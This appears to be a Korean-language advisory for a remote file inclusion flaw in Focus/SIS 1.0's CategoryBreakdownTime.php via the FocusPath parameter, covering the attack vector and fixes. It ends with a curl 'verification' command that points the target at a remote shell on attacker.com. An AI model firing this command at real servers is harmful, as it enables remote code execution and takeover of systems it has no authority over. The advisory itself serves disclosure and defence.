🇰🇷 한글 설명
Focus/SIS 1.0의 modules/Discipline/CategoryBreakdownTime.php에서 발견된 PHP 원격 파일 포함(RFI) 취약점입니다. FocusPath 매개변수를 통해 원격의 PHP 코드를 포함시켜 임의의 코드 실행이 가능합니다. 공격자가 외부 악성 파일을 로드하여 서버를 완전히 제어할 수 있습니다.
💡 쉬운 설명
웹 애플리케이션이 사용자 입력을 검증 없이 파일 경로로 사용하여, 인터넷의 악성 PHP 파일을 실행하는 문제입니다. 공격자가 서버의 권한으로 임의의 명령을 실행할 수 있게 됩니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in modules/Discipline/CategoryBreakdownTime.php in Focus/SIS 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the FocusPath parameter.
📍 영향받는 시스템
Focus/SIS 1.0 이전 버전 (modules/Discipline/CategoryBreakdownTime.php 포함)
⚔️ 공격 벡터
GET/POST 요청의 FocusPath 매개변수에 원격 PHP 파일 URL 입력 후 CategoryBreakdownTime.php 접근
🛡️ 대응 방법
Focus/SIS를 최신 버전으로 업그레이드하거나 입력값 필터링/화이트리스트 적용, allow_url_include = Off로 설정
🔧 검증 코드
RFI 취약점이 존재하면 원격 파일의 내용이 포함되어 나타나며, PHP 에러나 파일 미포함 시 패치됨
curl -s http://target/modules/Discipline/CategoryBreakdownTime.php?FocusPath=http://attacker.com/shell.php 2>&1 | head -20